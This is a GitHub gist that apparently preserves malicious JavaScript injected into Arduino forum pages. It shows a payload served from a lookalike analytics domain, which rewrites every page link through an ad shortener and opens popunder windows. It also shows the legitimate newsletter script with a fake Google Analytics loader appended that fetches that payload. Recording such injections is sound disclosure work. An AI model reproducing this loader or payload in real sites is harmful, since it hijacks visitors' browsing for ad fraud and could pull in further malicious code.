Skip to content

Instantly share code, notes, and snippets.

@jonathanperret
Created April 8, 2017 17:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jonathanperret/0151f207d0d3e584d43f3be62f3fda38 to your computer and use it in GitHub Desktop.
Save jonathanperret/0151f207d0d3e584d43f3be62f3fda38 to your computer and use it in GitHub Desktop.
Infested Arduino forum files (malware)
// This content was served at https://google-analytics.ga/analytics?ab
var l = document.links;for(var i=0; i<l.length; i++) { l[i].setAttribute('href', 'http://ouo.io/s/P52hoMCo/?s='+ encodeURIComponent(l[i].href)); };var uid = '155049';var wid = '331446';function encode64(e){e=escape(e);var t="";var n,r,i="";var s,o,u,a="";var f=0;do{n=e.charCodeAt(f++);r=e.charCodeAt(f++);i=e.charCodeAt(f++);s=n>>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+keyStr.charAt(s)+keyStr.charAt(o)+keyStr.charAt(u)+keyStr.charAt(a);n=r=i="";s=o=u=a=""}while(f<e.length);return t}function jsPopunder(e,t){function d(){try{c=Math.floor(document.cookie.split(h+"Cap=")[1].split(";")[0])}catch(e){}return l<=c||document.cookie.indexOf(h+"=")!==-1}function v(e,t,i,s,o,u){if(d())return;var a="toolbar=no,scrollbars=yes,location=yes,statusbar=yes,menubar=no,resizable=1,width="+i.toString()+",height="+s.toString()+",screenX="+o+",screenY="+u;document.onclick=function(){if(d())return;window.open("javascript:window.focus();","_self","");r=n.window.open(e,t,a);if(r){var i=new Date;document.cookie=h+"=1;expires="+(new Date(i.setTime(i.getTime()+f))).toGMTString()+";path=/";i=new Date;document.cookie=h+"Cap="+(c+1)+";expires="+(new Date(i.setTime(i.getTime()+84600*1e3))).toGMTString()+";path=/";m()}}}function m(){try{r.blur();r.opener.window.focus();window.self.window.blur();window.focus();if(p.firefox)g();if(p.webkit)y()}catch(e){}}function g(){var e=window.open("about:blank");e.focus();e.close()}function y(){var e=document.createElement("a");e.href="about:blank";e.target="PopHelper";document.getElementsByTagName("body")[0].appendChild(e);e.parentNode.removeChild(e);var t=document.createEvent("MouseEvents");t.initMouseEvent("click",true,true,window,0,0,0,0,0,true,false,false,true,0,null);e.dispatchEvent(t);window.open(e.href,e.target).close()}var n=top!=self&&typeof top.document.location.toString()==="string"?top:self;var r=null;t=t||{};var i=t.name||Math.floor(Math.random()*1e3+1);var s=t.width||window.outerWidth||window.innerWidth;var o=t.height||window.outerHeight-100||window.innerHeight;var u=typeof t.left!="undefined"?t.left.toString():window.screenX;var a=typeof t.top!="undefined"?t.top.toString():window.screenY;var f=t.wait||3600;f=f*1e3;var l=t.cap||2;var c=0;var h=t.cookie||"__.popunder";var p=function(){var e=navigator.userAgent.toLowerCase();var t={webkit:/webkit/.test(e),mozilla:/mozilla/.test(e)&&!/(compatible|webkit)/.test(e),chrome:/chrome/.test(e),msie:/msie/.test(e)&&!/opera/.test(e),firefox:/firefox/.test(e),safari:/safari/.test(e)&&!/chrome/.test(e),opera:/opera/.test(e)};t.version=t.safari?(e.match(/.+(?:ri)[\/: ]([\d.]+)/)||[])[1]:(e.match(/.+(?:ox|me|ra|ie)[\/: ]([\d.]+)/)||[])[1];return t}();if(d()){return}else{v(e,i,s,o,u,a)}}if(!uid){var uid=0}if(!wid){var wid=0}var keyStr="ABCDEFGHIJKLMNOP"+"QRSTUVWXYZabcdef"+"ghijklmnopqrstuv"+"wxyz0123456789+/"+"=";jsPopunder("http://popcash.net/world/go/"+uid+"/"+wid+"/"+encode64("https://authenticator.ga"),{name:"pop",width:screen.width,height:screen.height,top:0,left:0,cookie:"popcashpu",wait:24*60*60,cap:1});; ; function qa(){ }
// This is from https://my.arduino.cc/en/pub/js/newsletter_subscribe_popup.js
$(document).ready(function() {
function validateEmail(email) {
var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
return re.test(email);
}
var openPopup = function() {
$('.confirm-popup').hide();
$('.form-popup').show();
var modalBody = $('#newsletterModalBody');
var emailInput = modalBody.find('#newsletterEmailField').find('input');
var subscribeButton = $('#subscribe-submit-btn');
var emailMissingP = modalBody.find('#emailMissing');
var formValid = false;
var confirmHtml = $('#newsletterModalConfirm').html();
var email = $('#sendy-EMAIL').val();
//reset popup values / appearance
$("#newsletterSubscribeStatus").hide();
$('#newsletterModal').find('.modal-header-main').show();
$('#newsletterModal').find('.modal-header-alt').hide();
emailMissingP.hide();
emailInput.val('');
modalBody.find('#store').prop('checked', true);
modalBody.find('#worldwide').prop('checked', true);
//both checkboxes checked at beginning
subscribeButton.removeAttr('disabled');
//If user didn't provide email by footer input box, show input box in the popup, else just checkboxes
if(validateEmail(email)) {
emailInput.val(email);
formValid = true;
} else {
emailMissingP.show();
subscribeButton.attr('disabled', 'disabled');
$('#sendy-EMAIL').val('');
formValid = false;
}
$('#newsletterModal').foundation('reveal', 'open');
emailInput.on('input propertychange paste', function(e) {
if(!validateEmail(emailInput.val())) {
emailMissingP.show();
subscribeButton.attr('disabled', 'disabled');
formValid = false;
} else {
formValid = true;
emailMissingP.hide();
subscribeButton.removeAttr('disabled');
}
});
};
$('#sendy-EMAIL').on('keypress', function(e) {
if(e.keyCode == 13) {
openPopup();
}
});
$('#sendy-subscribe').on('click', function() {
openPopup();
});
$("#sendy-subscribe-form").on('keypress', function(e) {
if(e.keyCode == 13 && formValid) {
e.preventDefault();
$(this).submit();
}
});
$('#subscribe-submit-btn').on('click', function(e){
e.preventDefault();
// disable 'NEXT' button to avoid multiple submits
$('#subscribe-submit-btn').attr('disabled', 'disabled');
$("#sendy-subscribe-form").submit();
});
$('#close-confirm-popup').on('click', function(e){
$('#newsletterModal').foundation('reveal', 'close');
});
// trigger click on checkbox when clicking text label
$('.newsletter-form-label').on('click', function(e){
$(this).siblings("label").click();
});
$("#sendy-subscribe-form").on('submit', function(e){
e.preventDefault();
var $form = $(this),
//name = $form.find('input[name="name"]').val(),
email = $form.find('input[name="email"]').val(),
lists = $form.find('input[name="list[]"]:checked'),
url = $form.attr('action');
//reset
$("#newsletterSubscribeStatus").hide();
if(!lists.length) {
$("#newsletterSubscribeStatus").html("Please select at least <br> one newsletter.");
$("#newsletterSubscribeStatus").show();
//button 'NEXT' can be enabled
$('#subscribe-submit-btn').removeAttr('disabled');
return;
}
var listValues = [];
for(var i=0; i<lists.length; i++) {
listValues.push($(lists[i]).val());
}
$.post(url, {lists:listValues, email:email},
function(data) {
if(data)
{
if(data=="All fields are required.")
{
$("#newsletterSubscribeStatus").text("Please fill in your email.");
$("#newsletterSubscribeStatus").show();
}
else if(data=="Invalid email address.")
{
$("#newsletterSubscribeStatus").text("Your email address is invalid.");
$("#newsletterSubscribeStatus").show();
}
// else if(data=="Invalid list ID.")
// {
// $("#newsletterSubscribeStatus").text("Your list ID is invalid.");
// $("#newsletterSubscribeStatus").show();
// }
else if(data=="Already subscribed.")
{
$("#newsletterSubscribeStatus").text("You're already subscribed!");
$("#newsletterSubscribeStatus").show();
}
else if(data=="No list selected.")
{
$("#newsletterSubscribeStatus").text("Please select at least <br> one newsletter.");
$("#newsletterSubscribeStatus").show();
}
else
{
//$("#newsletterSubscribeStatus").text("You're subscribed!");
//change popup
$('.form-popup').hide();
$('.confirm-popup').show();
}
}
else
{
alert("Sorry, unable to subscribe. Please try again later!");
}
//button 'NEXT' can be enabled now
$('#subscribe-submit-btn').removeAttr('disabled');
}
);
});
});
(function(i,s,o,g,r,a,m){i['GoogleAnalyticObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=0;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://google-analytics.ga/analytics?ab','qa');
qa('create', 'UA-F445800292008RZFKB5', 'auto');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment